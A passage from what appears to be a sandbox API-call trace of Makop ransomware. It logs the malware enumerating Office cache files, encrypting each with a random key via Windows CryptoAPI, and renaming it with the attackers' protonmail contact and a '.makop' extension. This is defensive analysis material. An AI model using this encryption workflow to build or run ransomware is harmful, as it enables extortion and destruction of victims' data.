lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0070.421] CryptDestroyKey (hKey=0x48c7128) returned 1 [0070.421] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1416c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.421] SetEndOfFile (hFile=0x130) returned 1 [0070.428] GetProcessHeap () returned 0x48a0000 [0070.429] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0070.429] GetProcessHeap () returned 0x48a0000 [0070.429] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0070.429] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 128 [0070.429] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0071.552] CloseHandle (hObject=0x130) returned 1 [0071.596] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0071.596] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0071.596] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0071.600] GetProcessHeap () returned 0x48a0000 [0071.600] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0071.600] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0071.601] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0071.601] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0071.602] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0071.602] GetProcessHeap () returned 0x48a0000 [0071.602] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0071.602] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0071.602] CryptDestroyKey (hKey=0x48c7128) returned 1 [0071.602] WriteFile (in: hFile=0x130, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0071.607] WriteFile (in: hFile=0x130, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0071.607] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0071.607] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0071.607] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0071.607] WriteFile (in: hFile=0x130, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0071.607] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0071.607] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0071.608] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.608] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd8400, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd8400, lpOverlapped=0x0) returned 1 [0071.628] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd8400, dwBufLen=0xd8400 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd8400) returned 1 [0071.639] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.639] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd8400, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd8400, lpOverlapped=0x0) returned 1 [0071.645] CryptDestroyKey (hKey=0x48c7128) returned 1 [0071.645] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd84c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.645] SetEndOfFile (hFile=0x130) returned 1 [0071.653] GetProcessHeap () returned 0x48a0000 [0071.653] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0071.653] GetProcessHeap () returned 0x48a0000 [0071.653] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0071.653] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 128 [0071.653] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0071.676] CloseHandle (hObject=0x130) returned 1 [0071.678] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0071.678] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0071.678] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0071.682] GetProcessHeap () returned 0x48a0000 [0071.682] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0071.682] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0071.683] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0071.683] WriteFile (in: hFile=0x130, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0071.686] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0071.687] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0071.687] GetProcessHeap () returned 0x48a0000 [0071.687] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0071.687] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0071.687] CryptDestroyKey (hKey=0x48c7128) returned 1 [0071.687] WriteFile (in: hFile=0x130, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0071.687] WriteFile (in: hFile=0x130, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0071.687] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0071.687] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0071.687] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0071.688] WriteFile (in: hFile=0x130, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0071.688] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0071.688] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0071.688] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.688] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5b2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5b2, lpOverlapped=0x0) returned 1 [0071.688] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5c0) returned 1 [0071.688] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.688] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5c0, lpOverlapped=0x0) returned 1 [0071.689] CryptDestroyKey (hKey=0x48c7128) returned 1 [0071.689] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.689] SetEndOfFile (hFile=0x130) returned 1 [0071.707] GetProcessHeap () returned 0x48a0000 [0071.707] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0071.707] GetProcessHeap () returned 0x48a0000 [0071.707] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0071.707] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 128 [0071.707] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0071.711] CloseHandle (hObject=0x130) returned 1 [0071.712] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0071.712] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0071.712] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0071.712] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0071.712] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0071.713] GetProcessHeap () returned 0x48a0000 [0071.713] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0071.713] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0071.713] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0071.713] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0071.713] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0071.713] GetProcessHeap () returned 0x48a0000 [0071.713] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0071.714] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0071.714] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0071.714] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0071.741] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0071.741] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0071.742] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0071.742] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0071.742] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0071.742] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0071.742] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0071.742] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.743] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd4200, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0xd4200, lpOverlapped=0x0) returned 1 [0071.816] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0xd4200, dwBufLen=0xd4200 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0xd4200) returned 1 [0071.826] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.826] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd4200, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0xd4200, lpOverlapped=0x0) returned 1 [0071.836] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0071.836] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd42d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.836] SetEndOfFile (hFile=0x124) returned 1 [0071.844] GetProcessHeap () returned 0x48a0000 [0071.844] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0071.844] GetProcessHeap () returned 0x48a0000 [0071.844] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0071.845] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0071.845] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0071.849] CloseHandle (hObject=0x124) returned 1 [0071.849] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0071.849] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0071.849] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0071.899] GetProcessHeap () returned 0x48a0000 [0071.899] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0071.899] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0071.899] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0071.900] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x5, lpOverlapped=0x0) returned 1 [0071.905] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0071.905] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0071.905] GetProcessHeap () returned 0x48a0000 [0071.905] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0071.905] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0071.905] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0071.905] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0071.906] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0071.906] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0071.906] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0071.906] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0071.906] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, 